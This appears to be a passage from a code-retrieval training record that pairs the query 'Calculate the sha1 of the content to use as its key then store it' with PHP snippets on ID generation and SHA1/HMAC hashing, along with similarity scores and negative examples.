\\sprintf(\n\t\t\t'%s.%s.%s@%s',\n\t\t\t$timestamp->format('U.v'), // include milliseconds\n\t\t\t\\getmypid(),\n\t\t\t\\mt_rand(1000, 9999),\n\t\t\t\\gethostname()\n\t\t);\n\t}", "function uniqueid ()\r\n{\r\n $stamp = date(\"Ymdhis\");\r\n $c = uniqid(rand(), true);\r\n return $stamp.\"-\".$c;\r\n}", "private static function generateSessionId(){\n\t\treturn sprintf( '%04x%04x-%04x-%04x-%04x-%04x%04x%04x',\n\t\t\t// 32 bits for \"time_low\"\n\t\t\tmt_rand( 0, 0xffff ), mt_rand( 0, 0xffff ),\n\n\t\t\t// 16 bits for \"time_mid\"\n\t\t\tmt_rand( 0, 0xffff ),\n\n\t\t\t// 16 bits for \"time_hi_and_version\",\n\t\t\t// four most significant bits holds version number 4\n\t\t\tmt_rand( 0, 0x0fff ) | 0x4000,\n\n\t\t\t// 16 bits, 8 bits for \"clk_seq_hi_res\",\n\t\t\t// 8 bits for \"clk_seq_low\",\n\t\t\t// two most significant bits holds zero and one for variant DCE1.1\n\t\t\tmt_rand( 0, 0x3fff ) | 0x8000,\n\n\t\t\t// 48 bits for \"node\"\n\t\t\tmt_rand( 0, 0xffff ), mt_rand( 0, 0xffff ), mt_rand( 0, 0xffff )\n\t\t);\n\t}", "private function uuid() {\n\t\treturn sprintf('%04x%04x-%04x-%04x-%04x-%04x%04x%04x',\n\t\t\tmt_rand(0, 0xffff), mt_rand(0, 0xffff),\n\t\t\tmt_rand(0, 0xffff),\n\t\t\tmt_rand(0, 0x0fff) | 0x4000,\n\t\t\tmt_rand(0, 0x3fff) | 0x8000,\n\t\t\tmt_rand(0, 0xffff), mt_rand(0, 0xffff), mt_rand(0, 0xffff)\n\t\t);\n\t}", "protected function getID()\n {\n return rand();\n }", "protected function ensure_id()\n\t{\n\t\t$existing = $this->id();\n\t\t\n\t\tif(empty($existing))\n\t\t{\n\t\t\t$this->id(Tools_Storage::id());\n\t\t}\n\t\t\n\t\treturn $this->id();\n\t}", "function gen_uuid() {\n return sprintf('%04x%04x-%04x-%04x-%04x-%04x%04x%04x',\n // 32 bits for \"time_low\"\n mt_rand(0, 0xffff), mt_rand(0, 0xffff),\n // 16 bits for \"time_mid\"\n mt_rand(0, 0xffff),\n // 16 bits for \"time_hi_and_version\",\n // four most significant bits holds version number 4\n mt_rand(0, 0x0fff) | 0x4000,\n // 16 bits, 8 bits for \"clk_seq_hi_res\",\n // 8 bits for \"clk_seq_low\",\n // two most significant bits holds zero and one for variant DCE1.1\n mt_rand(0, 0x3fff) | 0x8000,\n // 48 bits for \"node\"\n mt_rand(0, 0xffff), mt_rand(0, 0xffff), mt_rand(0, 0xffff)\n );\n }", "public function getInstanceId();", "public function getInstanceId();", "public function generateId()\n {\n $this->setId($this->idGenerator->generateId());\n\n return $this->id;\n }", "function gen_uuid() {\n return sprintf( '%04x%04x-%04x-%04x-%04x-%04x%04x%04x',\n // 32 bits for \"time_low\"\n mt_rand( 0, 0xffff ), mt_rand( 0, 0xffff ),\n\n // 16 bits for \"time_mid\"\n mt_rand( 0, 0xffff ),\n\n // 16 bits for \"time_hi_and_version\",\n // four most significant bits holds version number 4\n mt_rand( 0, 0x0fff ) | 0x4000,\n\n // 16 bits, 8 bits for \"clk_seq_hi_res\",\n // 8 bits for \"clk_seq_low\",\n // two most significant bits holds zero and one for variant DCE1.1\n mt_rand( 0, 0x3fff ) | 0x8000,\n\n // 48 bits for \"node\"\n mt_rand( 0, 0xffff ), mt_rand( 0, 0xffff ), mt_rand( 0, 0xffff )\n );\n }", "private static function makeRpcUid()\n {\n return bin2hex(openssl_random_pseudo_bytes(90));\n }", "private function genErrID()\n {\n return uniqid();\n }", "public function getMaconomyId(): string\n {\n return (string)$this->data['instancekeyField'];\n }", "public static function seoIdAttribute()\n {\n return \"POST-\".Carbon::now()->format('dmyhis').str_random(5);\n }" ]
[ "0.7837651", "0.7352221", "0.7237001", "0.71926445", "0.71321243", "0.70915455", "0.69687504", "0.69204015", "0.6844222", "0.6782339", "0.6735194", "0.673273", "0.6731164", "0.66975844", "0.66906774", "0.66900986", "0.6686713", "0.6647821", "0.6639516", "0.66384226", "0.66364527", "0.6612351", "0.6606646", "0.65803355", "0.6560294", "0.65344703", "0.65344703", "0.65344703", "0.6491105", "0.6489631", "0.6484885", "0.6463105", "0.645997", "0.6429041", "0.6424901", "0.6421389", "0.64193815", "0.6399206", "0.63961947", "0.63961345", "0.6386529", "0.6384112", "0.6375939", "0.63646066", "0.63596976", "0.63542044", "0.63511175", "0.6350554", "0.6349826", "0.63391787", "0.6338577", "0.63380957", "0.6333489", "0.6316128", "0.63151634", "0.6314968", "0.6312803", "0.6308076", "0.6288631", "0.62793726", "0.6275193", "0.62749374", "0.62679", "0.62524456", "0.62510574", "0.62510574", "0.62455", "0.6229428", "0.6227739", "0.6211368", "0.62022346", "0.6182441", "0.6174412", "0.61565775", "0.61553496", "0.61510766", "0.6148254", "0.614083", "0.613491", "0.6128481", "0.61188155", "0.6117577", "0.6116523", "0.6114717", "0.61125624", "0.61043555", "0.60998297", "0.60956395", "0.60944676", "0.6092681", "0.60831064", "0.6079193", "0.6079066", "0.607196", "0.607196", "0.60707533", "0.6068354", "0.60683465", "0.60682666", "0.6067239", "0.6060966" ]
0.0
-1
Calculate the sha1 of the content to use as its key then store it
public function add($content);
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "function getSha1() ;", "public function getSha1() {}", "public function getSha1() {}", "public function getSha1Checksum()\r\n {\r\n return sha1_file($this->filename);\r\n }", "public function getSHA1()\n {\n if (!$this->sha1) {\n $this->sha1 = sha1(\\gihp\\Parser\\File::exportObject($this));\n }\n\n return $this->sha1;\n }", "function dsq_hmacsha1($data, $key) {\n $blocksize=64;\n $hashfunc='sha1';\n if (strlen($key)>$blocksize)\n $key=pack('H*', $hashfunc($key));\n $key=str_pad($key,$blocksize,chr(0x00));\n $ipad=str_repeat(chr(0x36),$blocksize);\n $opad=str_repeat(chr(0x5c),$blocksize);\n $hmac = pack(\n 'H*',$hashfunc(\n ($key^$opad).pack(\n 'H*',$hashfunc(\n ($key^$ipad).$data\n )\n )\n )\n );\n return bin2hex($hmac);\n}", "function mcsha1($str)\n{\n\t$gmp = gmp_import(sha1($str, true));\n\tif(gmp_cmp($gmp, gmp_init(\"0x8000000000000000000000000000000000000000\")) >= 0)\n\t{\n\t\t$gmp = gmp_mul(gmp_add(gmp_xor($gmp, gmp_init(\"0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\")), gmp_init(1)), gmp_init(-1));\n\t}\n\treturn gmp_strval($gmp, 16);\n}", "public function getSha1() {\n\t\t\tif (!$this->sha1) {\n\t\t\t\t$this->sha1 = sha1_file($this->tempfile);\n\t\t\t}\n\t\t\treturn $this->sha1;\n\t\t}", "public function getSha1Sign ()\n {\n $arrayToHash = array();\n foreach ($this->_params as $key => $value) {\n if ($value != '' && $this->isValidParam($key)) {\n $arrayToHash[] = strtoupper($key) . '=' . $value .\n $this->_config['sha1InPassPhrase'];\n }\n }\n asort($arrayToHash);\n $stringToHash = implode('', $arrayToHash);\n return sha1($stringToHash);\n }", "public function hash();", "private function hashing() {\n\t\t$data = md5($this->name.$this->date);\n\t\t$data = md5($data);\n\t\t$data = strrev($data);\n\t\t//$data = md5($data);\n\t\t$data = strtoupper($data);\n\t\t//$data = strrev($data);\n\n\t\t$datatemp = NULL;\n\t\tfor($i=0; $i<=strlen($data); $i++) {\n\t\t\t$arr = substr($data, $i, 1);\n\t\t\tif($i == '4' || $i == '8' || $i == '12' || $i == '16' || $i == '20' || $i == '24' || $i == '28' || $i == '32') {\n\t\t\t\t$datatemp .= substr($this->strfinger, ($i/4)-1, 1);\t\n\t\t\t}\n\t\t\t$datatemp .= \"/%\".$this->combine[$arr];\n\t\t}\n\n\t\t$this->resulthashcode = substr($datatemp, 1, strlen($datatemp)-6);\n\t\t$this->result = true;\n\t}", "protected function hmacsha1($key, $data)\n {\n\treturn base64_encode(hash_hmac('SHA1', $data, $key, true));\n }", "public function hash() {\r\n\t\t$filename = pathinfo($this->filepath, PATHINFO_BASENAME );\r\n\t\treturn sha1($filename);\r\n\t}", "public function getSha1()\n {\n return $this->sha1;\n }", "protected function doEncode($input)\n {\n return sha1($input);\n }", "function makeKey($masterID){\n\n\t$key = \"I want to see you so bad :/\";\n\t$keyElement1 = \"\";\n\t$keyElement2 = \"\";\n\t$keyElement3 = \"\";\n\t$hash = \"\";\n\n\t$strSQL = \"SELECT * FROM masteraccount WHERE 1 \n\t\tAND masterID = '\".$masterID.\"' \n\t\t\";\n\t\n\t$objQuery = mysql_query($strSQL);\n\t$objResult = mysql_fetch_array($objQuery);\n\tif($objResult) {\n\t\t$keyElement1 = $objResult[\"masterTextPassword\"];\n\t\t$keyElement2 = $objResult[\"masterGraphicalPassword\"];\n\n\t\t//echo \"element2 : \".$keyElement2.\"<br>\";\n\n\t\t$keyElement3 = $objResult[\"email\"];\n\t\t$cost = 11;\n\t\t$salt = mcrypt_create_iv(22, MCRYPT_DEV_URANDOM);\n\t\t\n\t\t//make key -> Hash(Hash(text)+Hash(graphical))+Hash(email)\n\t\t$keyElement1 = hash(\"sha256\",$keyElement1, false);\n\t\t$keyElement2 = hash(\"sha256\",$keyElement2, false);\n\t\t$key = $keyElement1.$keyElement2 ;\n\n\t\t//echo \"key ele1+2 : \".$key.\"<br>\";\n\n\t\t$key = hash(\"sha256\",$key, false);\n\n\t\t//echo \"hashed key ele1+2 : \".$key.\"<br>\";\n\n\t\t$keyElement3 = hash(\"sha256\",$keyElement3, false);\n\t\t$key = $key.$keyElement3 ;\n\t\t$key = hash(\"sha256\",$key, false);\n\n\t\t//echo \"FinalKey : \".$key.\"<br><br>\";\n\t}\n\treturn $key;\n}", "public function getSha1() {\n\t\treturn $this->sha1;\n\t}", "public function hash(): string;", "public function sha1($str)\n {\n if (!function_exists('sha1')) {\n if (!function_exists('mhash')) {\n Fly::import('system.libraries.Sha1');\n $SH = new Sha1();\n return $SH->generate($str);\n } else {\n return bin2hex(mhash(MHASH_SHA1, $str));\n }\n } else {\n return sha1($str);\n }\n }", "function js_sha1($str) {\r\n return js_str(sha1(php_str($str)));\r\n}", "private function makeContentHash() {\r\n\t\tif (!$this->body) {\r\n\t\t\treturn '';\r\n\t\t} elseif (strlen($this->body) > $this->max_body) {\r\n\t\t\treturn $this->makeBase64Sha256(substr($this->body, 0, $this->max_body));\r\n\t\t} else {\r\n\t\t\treturn $this->makeBase64Sha256($this->body);\r\n\t\t}\r\n\t}", "public function hash()\n {\n return $this->adapter->md5File($this->path);\n }", "public static function encryptSha1($value) {\n return sha1($value . ':' . self::AUTH_MAGIC_SHA1);\n }", "public function hash() {\n if(isset($this->cache['hash'])) return $this->cache['hash'];\n\n // add a unique hash\n $checksum = sprintf('%u', crc32($this->uri()));\n return $this->cache['hash'] = base_convert($checksum, 10, 36);\n }", "public function hash()\n\t\t{\n\t\t\tif (!$this->hash) {\n\t\t\t\t$this->hash = md5($this->name.'-'.$this->size);\n\t\t\t}\n\n\t\t\treturn $this->hash;\n\t\t}", "public function generateHash()\n {\n $this->hash = sha1(serialize($this->toArray()));\n }", "public function getSha1()\n {\n if (array_key_exists(\"sha1\", $this->_propDict)) {\n return $this->_propDict[\"sha1\"];\n } else {\n return null;\n }\n }", "protected function hash($content)\n {\n $timestamp = (new DateTime())->format('Y-m-d H');\n\n return hash_hmac(\n 'sha512',\n $content . $timestamp,\n $this->secretKey\n );\n }", "public function computeHash()\n {\n $this->setLastnamecanonical($this->lastname);\n $this->setFirstnamecanonical($this->firstname);\n\n $this->hash = sha1(\n $this->firstnameCanonical.\n $this->lastnameCanonical.\n (($this->birthdate instanceof \\DateTime) ? $this->birthdate->format('Y-m-d') : '')\n );\n\n return $this->hash;\n }", "public function getHash();", "protected function hmacsha1($key, $data)\n {\n $blocksize=64;\n $hashfunc='sha1';\n if (strlen($key)>$blocksize) {\n $key=pack('H*', $hashfunc($key));\n }\n $key=str_pad($key, $blocksize, chr(0x00));\n $ipad=str_repeat(chr(0x36), $blocksize);\n $opad=str_repeat(chr(0x5c), $blocksize);\n $hmac = pack(\n 'H*', $hashfunc(\n ($key^$opad).pack(\n 'H*', $hashfunc(\n ($key^$ipad).$data\n )\n )\n )\n );\n return base64_encode($hmac);\n }", "function string3(){\n\n $string3 = \"Hola mundo\";\n $sha1 = sha1($string3);\n\n echo $sha1;\n\n}", "function get_hash($string) {\r\n return hash('sha1', $string);\r\n}", "function criptografa($str)\r\n\t{\r\n\t\t$str = sha1( md5( sha1 ( md5 ( $str ) ) ) );\r\n\r\n\t\treturn $str; \t\t\r\n\t}", "public function getHash() {}", "public static function sha1_hash( $string )\n {\n return '{SHA}'.base64_encode( pack( 'H*', sha1( $string ) ) );\n }", "function hmac_sha1($key, $data)\n{\n if (strlen($key) > 64) {\n $key = str_pad(sha1($key, true), 64, chr(0));\n }\n if (strlen($key) < 64) {\n $key = str_pad($key, 64, chr(0));\n }\n\n // Outter and Inner pad\n $opad = str_repeat(chr(0x5C), 64);\n $ipad = str_repeat(chr(0x36), 64);\n\n // Xor key with opad & ipad\n for ($i = 0; $i < strlen($key); $i++) {\n $opad[$i] = $opad[$i] ^ $key[$i];\n $ipad[$i] = $ipad[$i] ^ $key[$i];\n }\n\n return sha1($opad.sha1($ipad.$data, true));\n}", "function hmac_sha1($key, $data)\n{\n if (strlen($key) > 64) {\n $key = str_pad(sha1($key, true), 64, chr(0));\n }\n if (strlen($key) < 64) {\n $key = str_pad($key, 64, chr(0));\n }\n\n // Outter and Inner pad\n $opad = str_repeat(chr(0x5C), 64);\n $ipad = str_repeat(chr(0x36), 64);\n\n // Xor key with opad & ipad\n for ($i = 0; $i < strlen($key); $i++) {\n $opad[$i] = $opad[$i] ^ $key[$i];\n $ipad[$i] = $ipad[$i] ^ $key[$i];\n }\n\n return sha1($opad.sha1($ipad.$data, true));\n}", "public function getHash()\n\t{\n\t\t// Create a string that should uniquely represent the media instance.\n\t\t// We'll base it on the table name, concatenated with a '.', followed by the\n\t\t// ID value.\n\t\t$string = $this->getTable().'.'.$this->getKey();\n\n\t\t// We will use the SHA1 algorithm, as it is less prone to collision attacks,\n\t\t// while still being quick enough for mass hashing.\n\t\treturn hash('sha1', $string);\n\t}", "final public function getHash() {}", "public function hash() {\n\t\t$hash = parent::get('hash');\n\t\tif($hash) return $hash; \t\n\t\t$this->set('hash', md5($this->basename())); \n\t\treturn parent::get('hash'); \n\t}", "public function getHash(): string;", "public function getHash(): string;", "public function getHash(): string;", "public function getHash(): string;", "public function getHashSignedById(): string;", "private function hashPath($path = '') {\n $hash = '';\n if (file_exists($path)) {\n if (!is_dir($path)) {\n $string = file_get_contents($path);\n // Remove trailing whitespace.\n $string = rtrim($string);\n // Replace all line endings and CVS/svn Id tags.\n $string = preg_replace('/\\$Id[^;<>{}\\(\\)\\$]*\\$/', 'x$' . 'Id$', $string);\n $string = preg_replace('/\\r\\n|\\n|\\r/', ' ', $string);\n $hash = base64_encode(pack(\"H*\", sha1($string)));\n }\n }\n return $hash;\n }", "private function getSignature(): string {\r\n return base64_encode(hash_hmac(\"sha1\", $this->buildSigningBase(), $this->buildSigningKey(), true));\r\n }", "private static function getHashKey($f) {\n\t\t\n\t\t//normalize path: removing nlac_static from the end if there is\n\t\t//$f = preg_replace('/\\\\??&*nls_static$/','',$f); \n\n\t\tif (Yii::app()->clientScript->hashMode == 'PATH') {\n\t\t\t//Composing thekey from the file name\n\t\t\t\n\t\t\t//If the file name contains \"jquery\" then chunk the path \n\t\t\t//(assuming that the file name is unique over the project)\n\t\t\tif (stristr($f,'jquery')!==false) {\n\t\t\t\tpreg_match('/[^\\\\/\\\\\\\\]+$/', $f, $matches);\n\t\t\t\treturn @$matches[0];\n\t\t\t}\n\t\t\treturn $f;\n\t\t}\n\t\t\n\t\t//Composing the key from the file content\n\t\t$c = $this->getResourceContent($f);\n\t\t//Yii::log('fullpath: ' . $fullPath . ', dirsep='.DIRECTORY_SEPARATOR, 'warning');\n\t\treturn substr(md5( $c ),0,8);\n\t}", "public static function hmac_sha1_sign($string = '', $key = '')\n\t\t{\n\t\t\t$key_64 = str_pad(((strlen((string)$key) > 64) ? pack('H*', sha1((string)$key)) : (string)$key), 64, chr(0x00));\n\n\t\t\treturn pack('H*', sha1(($key_64 ^ str_repeat(chr(0x5c), 64)).pack('H*', sha1(($key_64 ^ str_repeat(chr(0x36), 64)).(string)$string))));\n\t\t}", "function hash()\n\t{\n\t\treturn sha1(time().serialize($this));\n\t}", "static function setHashedValue($value) {\n $length = strlen($value);\n $middle = ($length / 2);\n if ($middle > 0) {\n $value1 = substr($value, 0, $middle - 1);\n $value2 = substr($value, $middle, $length - 1);\n $hashedvalue = sha1('2@!' . md5($value1) . $value2 . 'o&#');\n } else {\n $hashedvalue = sha1('2@!' . md5($value . 'o&#'));\n }\n return $hashedvalue;\n }", "abstract public function hashFile($filename);", "function sha1_hmac($key, $data, $blockSize = 64, $opad = 0x5c, $ipad = 0x36) {\n\tif (strlen($key) > $blockSize) {\n\t\t$key = sha1($key, true);\n\t}\n\t// Keys shorter than blocksize are right, zero-padded (concatenated)\n\t$key = str_pad($key,$blockSize,chr(0x00),STR_PAD_RIGHT);\n\t$o_key_pad = $i_key_pad = '';\n\tfor($i = 0;$i < $blockSize;$i++) {\n\t\t$o_key_pad .= chr(ord(substr($key, $i, 1)) ^ $opad);\n\t\t$i_key_pad .= chr(ord(substr($key, $i, 1)) ^ $ipad);\n\t}\n\treturn sha1($o_key_pad.sha1($i_key_pad.$data,true));\n}", "protected function create_cache_key()\n\t{\n\t\treturn hash($this->config['hash'], serialize($this->options));\n\t}", "function sha1_bin($hex)\r\n{\r\n return pack('H40', $hex);\r\n}", "public static function hash($value)\n {\n return hash_hmac('sha1', $value, Config::get('app.key'));\n }", "abstract public function createHash(string $payload, Key $key): string;", "function cache_signature(&$page) {\n\tif (!isset($GLOBALS['meta']['cache_signature'])){\n\t\tinclude_spip('inc/acces');\n\t\tinclude_spip('auth/sha256.inc');\n\t\t$sigfunc = function_exists('_nano_sha256') ? '_nano_sha256' : 'md5';\n\t\tecrire_meta('cache_signature', $sigfunc($_SERVER[\"DOCUMENT_ROOT\"] . $_SERVER[\"SERVER_SIGNATURE\"] . creer_uniqid()), 'non');\n\t}\n\treturn crc32($GLOBALS['meta']['cache_signature'].$page['texte']);\n}", "public function makeCacheHash() {}", "private function hash($key)\n {\n $const_hash = '258EAFA5-E914-47DA-95CA-C5AB0DC85B11';\n\n return base64_encode(pack('H*', sha1($key . $const_hash)));\n }", "public function hashFileSha1_20()\n {\n $this->hash_file_sha1_20 = null;\n\n if ($this->exists === true) {\n\n } elseif ($this->is_file === true) {\n\n } else {\n return;\n }\n\n $this->hash_file_sha1_20 = sha1_file($this->temp, true);\n\n return;\n }", "protected function GetCacheKey()\n\t{\n\t\treturn (isset($this->params['hashbase']) ? $this->params['hashbase'] : '') . '|' . (isset($this->params['hash']) ? $this->params['hash'] : '') . '|' . (isset($this->params['file']) ? sha1($this->params['file']) : '');\n\t}", "public static function EncodeSHA1($string, $key) {\n $key = sha1($key);\n $strLen = strlen($string);\n $keyLen = strlen($key);\n for ($i = 0; $i < $strLen; $i++) {\n $ordStr = ord(substr($string,$i,1));\n if ($j == $keyLen) { $j = 0; }\n $ordKey = ord(substr($key,$j,1));\n $j++;\n $hash .= strrev(base_convert(dechex($ordStr + $ordKey),16,36));\n }\n return $hash;\n }", "function sri_checksum($input)\n{\n $algorithm = settings::algorithm();\n $hash = hash($algorithm, $input, true);\n $hash_base64 = base64_encode($hash);\n\n return \"$algorithm-$hash_base64\";\n}", "public function hash($value);", "public function calculateHash()\n {\n return hash(\"sha512\", $this->index.$this->previousHash.$this->timestamp.((string)$this->data).$this->nonce);\n }", "public function generateChecksumForTitle($title, $account) {\n\t\t// Note that the encoded hash ($m) must be <= to length of n in hex (32)\n\t\t// We want to protect the \n\t\t// \tinstitution name (from T_AccountRoot)\n\t\t//\thosting domain (need to add to T_AccountRoot) -- but what would this be for network? Just empty I suppose.\n\t\t//\texpiry date\n\t\t//\tmaxStudents\n\t\t//\tlicenceType\n\t\t//\trootID\n\t\t//\tproductCode\n\t\t//$protectedString = $account->name.$account->selfHostDomain.$title-> expiryDate.$title-> maxStudents.$title-> licenceType.$account->id.$title-> productCode;\n\t\t$protectedString = $account->name.$title-> expiryDate.$title-> maxStudents.$title-> licenceType.$account->id.$title-> productCode;\n\t\t$escapedString = $this->actionscriptEscape($protectedString);\n\t\t//$protectedString = \"adrian raper's college of languagehttp://www.clarityenglish.com2009-12-10153138\";\n\n\t\t//NetDebug::trace(\"checksum protected=$protectedString\");\n\t\t//NetDebug::trace(\"escaped=$escapedString\");\n\t\t// v6.5.5.5 because php and actionscript do md5 differently, we need to escape first\n\t\t$hash = md5($escapedString);\n\t\t//NetDebug::trace(\"hash=$hash\");\n\t\t\n\t\t// Encode and sign the hash\n\t\t$m = Base8::encode($hash);\n\t\t//NetDebug::trace(\"checksum m=$m\");\n\t\t$c = $this->dmsKey->sign($m);\n\t\t//NetDebug::trace(\"checksum c=$c\");\n\t\t$c = $this->orchidPublicKey->encrypt($c);\n\t\t//NetDebug::trace(\"checksum=$c\");\n\t\t//echo \"checksum c=$c\";\n\t\t\n\t\treturn $c;\n\t}", "protected function _generateKey()\n {\n $key = '';\n ksort($this->_keyData); //so that the order of the array doesn't matter in the key that is generated.\n foreach ($this->_keyData as $i => $val) {\n //\"clean\" the data some\n if (is_numeric($val)) {\n $val = (float)$val;\n //force it to be 4 decimal places every single time, and use thousands\n //seperator, just because we can and we need all numbers to be uniform\n //so they look the same even after getting sent to the database and coming back again.\n $val = number_format($val, 4, '.', ',');\n } else {\n $val = trim($val);\n }\n //NOTE: May need to do further \"cleaning\" to ensure value always stays\n //the same even after getting sent to and from the DB... if so do that\n //cleaning here, NOT outside of this class... we need 1 solution in 1\n //place, not 20 different solutions...\n\n $key = \"$i:_:{$key}:_:$val\";\n }\n //If debug enabled, show what the key is before hash, so we can troubleshoot\n //problems caused by the key changing when trying to decrypt.\n if (self::DEBUG) {\n trigger_error('DEBUG CRYPT: Key used before hash=' . $key);\n }\n $this->_keyString = sha1($key);\n }", "public static function hashFileContent($data) {\n // build of PHP. It's fine if we're unable to generate a content hash:\n // it just means we'll store extra data when users upload duplicate files\n // instead of being able to deduplicate it.\n\n $hash = hash('sha256', $data, $raw_output = false);\n if ($hash === false) {\n return null;\n }\n\n return $hash;\n }", "final public function calculateDigestString($data) {}", "private function keyStretching($key, $sha1, $rounds) {\n if ($sha1 == true AND function_exists(\"sha1\")) {\n for ($i = 0; $i < $rounds; ++$i) {\n $key = sha1($key);\n }\n } else {\n for ($i = 0; $i < $rounds; ++$i) {\n $key = md5($key);\n }\n }\n \n return $key;\n }", "public function hash() {\r\n\t\t$cacheParams = explode(',',$this->cacheParams);\r\n\t\t$hash ='';\r\n\t\tforeach($cacheParams as $param) {\r\n\t\t\t$param = trim($param);\r\n\t\t\t$hash .= @$this->$param;\r\n\t\t}\r\n\t\treturn md5($hash);\r\n\t}", "protected function hash($string)\n {\n return hash_hmac('sha1', $string, $this->key(), true);\n }", "protected function calculateContentHash($lessFilename) {\n\t\t$content = file_get_contents($lessFilename);\n\t\t$hash = hash('sha1',$content);\n\n\t\t$matched = preg_match_all('/@import \"([^\"])*\"/', $content, $imports);\n\t\tif (!empty($imports[0]))\n\t\t\t$pathinfo = pathinfo($lessFilename);\n\n\t\tforeach ($imports[0] as $import)\n\t\t{\n\t\t\t$importFilename = str_replace(\"@import\", '', $import);\n\t\t\t$importFilename = trim(str_replace(\"\\\"\", '', $importFilename));\n\t\t\t$hash = hash('sha1', $hash . sha1_file($pathinfo['dirname'] . '/' . $importFilename));\n\t\t}\n\n\t\treturn $hash;\n\t}", "function DataHash(){\n return($this->data);\n }", "private static function key($str) {\n\t\treturn md5($str);\n\t}", "public function getHash() {\n\t\treturn sha1( serialize( $this->property ) );\n\t}", "public function saveHash(AbstractLocalImage $image, SourceImage $sourceImage)\n {\n file_put_contents($this->getHashFilePath($image), json_encode(['hash' => $sourceImage->shortHash]));\n\n return $sourceImage->shortHash;\n }", "public function testThatEscapeDataWorksAsExpectedHashAlgoSha1() {\n // because \\RendererTest::$hash_algo_index will have a value of 3\n // see \\Rotexsoft\\FileRenderer::hash_algos() in ./tests/bootstrap.php\n \n $this->executeEscapeDataTests();\n }", "public function cacheKey() {\n $params = $this->getParameters();\n $ret = '';\n $this->make_cache_key($params, $ret);\n\n return md5($ret);\n }", "public static function getHash($value)\n {\n return self::sha1($value);\n }", "public function makeHash(\\codename\\core\\credential $credential) : string;", "protected function _genRequestKey()\n {\n $hash = sprintf(\"%u\", crc32(serialize($this->_request)));\n $this->_setLastRequestKey($hash);\n return $hash;\n }", "public static function masterKey()\r\n\t{\r\n\t\treturn new CompositeKey(KdbxFile::HASH);\r\n\t}", "public function checkContentHash() {}", "function getEncodedSignature($hostName,$digestEncoded,$SS_KEY,$path)\r\n{\r\n $signatureString = \"host: \".$hostName.\"\\n(request-target): post \".$path.\"\\n\".\"digest: SHA-256=\".$digestEncoded.\"\\n\".\"v-c-merchant-id: starlock01\";\r\n $signatureByteString = utf8_encode($signatureString);\r\n $decodeKey = base64_decode($SS_KEY);\r\n $signature = base64_encode(hash_hmac(\"sha256\", $signatureByteString,\r\n $decodeKey, true));\r\n return $signature;\r\n}", "function make_hash($str)\n{\n return sha1(md5($str));\n}", "function make_hash($str)\n{\n return sha1(md5($str));\n}", "private static function getHash($string)\n\t{\n\t\treturn base64_encode(extension_loaded('hash') ?\n\t\thash_hmac('sha1', $string, self::$__secretKey, true) : pack('H*', sha1(\n\t\t(str_pad(self::$__secretKey, 64, chr(0x00)) ^ (str_repeat(chr(0x5c), 64))) .\n\t\tpack('H*', sha1((str_pad(self::$__secretKey, 64, chr(0x00)) ^\n\t\t(str_repeat(chr(0x36), 64))) . $string)))));\n\t}", "public function getHashedId()\n {\n return md5($this->part->id);\n }", "function onesignin_client_hash($data) {\n if (is_array($data)) {\n $data = implode(':', $data);\n }\n $hash = base64_encode(hash('sha512', $data, TRUE));\n return strtr($hash, array('+' => '-', '/' => '_', '=' => ''));\n}", "public function hashCode(): string;", "public function _hash($str) {\n switch ($this->config['algoritmo_criptografia']) {\n case 'sha1':\n return ($str == '') ? '' : sha1($str);\n break;\n case 'crypt':\n return crypt($str);\n break;\n case 'base64':\n return base64_encode($str);\n break;\n case 'plain':\n return $str;\n break;\n case 'md5':\n default:\n return md5($str);\n break;\n }\n }", "private function getSignature()\n\t{\n\t\t$string_to_sign = mb_convert_encoding(\n\t\t\t$this->http_verb . $this->uri . $this->timestamp . $this->nonce,\n\t\t\t'UTF-8'\n\t\t);\n\t\treturn base64_encode(\n\t\t\thash_hmac(\n\t\t\t\t'sha1',\n\t\t\t\t$string_to_sign,\n\t\t\t\t$this->secret,\n\t\t\t\ttrue\n\t\t\t)\n\t\t);\n\t}", "function key_gen($str=''){\n\treturn str_replace('=','',base64_encode(md5($str)));\n}", "private function hash($str)\n {\n return ($this->hashType == 'sha1') ? $this->sha1($str) : md5($str);\n }", "function createKey(){\n\t$strKey = md5(microtime());\n\t\n\t//check to make sure this key isnt already in use\n\t$resCheck = mysql_query(\"SELECT count(*) FROM downloads WHERE downloadkey = '{$strKey}' LIMIT 1\");\n\t$arrCheck = mysql_fetch_assoc($resCheck);\n\tif($arrCheck['count(*)']){\n\t\t//key already in use\n\t\treturn createKey();\n\t}else{\n\t\t//key is OK\n\t\treturn $strKey;\n\t}\n}", "function sign($param,$key){\n\n $sign = \"\";\n foreach($param as $k => $v){\n $sign .= $k.\"=\".$v.\"&\";\n }\n\n $sign .= \"key=\".$key;\n $sign = strtoupper(md5($sign));\n return $sign;\n\n}", "function hash_payload($payload, $key)\n {\n $hash = hash_hmac('sha256', $payload, $key);\n\n return $hash;\n }", "function sloodle_signature($data) {\n \tglobal $CFG;\n\n $salt = '';\n if ( isset($CFG->sloodle_signature_salt) && ($CFG->sloodle_signature_salt != '' ) ) {\n $salt = $CFG->sloodle_signature_salt;\n } else {\n $salt = random_string(40);\n set_config('sloodle_signature_salt', $salt);\n }\n\n if (function_exists('hash_hmac')) {\n return hash_hmac('sha256', $data, $salt);\n }\n return sloodle_custom_hmac('sha1', $data, $salt);\n }" ]
[ "0.68078554", "0.67759", "0.67758954", "0.64759785", "0.6359041", "0.63220626", "0.63199335", "0.62809163", "0.6198722", "0.6093477", "0.60381216", "0.60179746", "0.5990214", "0.59317756", "0.58669114", "0.58276683", "0.5813913", "0.58086556", "0.58069044", "0.5800947", "0.5785073", "0.57627904", "0.5731052", "0.5725277", "0.5715853", "0.5707", "0.5704642", "0.569177", "0.5670146", "0.5666789", "0.5655466", "0.56459785", "0.5641342", "0.5641016", "0.5609984", "0.56095093", "0.56042427", "0.5603649", "0.5598719", "0.55851716", "0.5584334", "0.5579402", "0.5579402", "0.5579402", "0.5579402", "0.5577458", "0.5572718", "0.55514693", "0.55271846", "0.5522636", "0.55112255", "0.5504917", "0.55012435", "0.54935485", "0.5483879", "0.5479498", "0.546783", "0.5460941", "0.54568887", "0.5441807", "0.54390717", "0.54177517", "0.54171246", "0.5404825", "0.53946596", "0.5389585", "0.53878736", "0.53742754", "0.53525925", "0.5346592", "0.5325463", "0.53145957", "0.5297872", "0.5290403", "0.5287352", "0.5284275", "0.5277796", "0.5277408", "0.525445", "0.5248634", "0.5248471", "0.5244518", "0.5243732", "0.5237639", "0.5229316", "0.5221296", "0.51939446", "0.51914585", "0.51914585", "0.51863176", 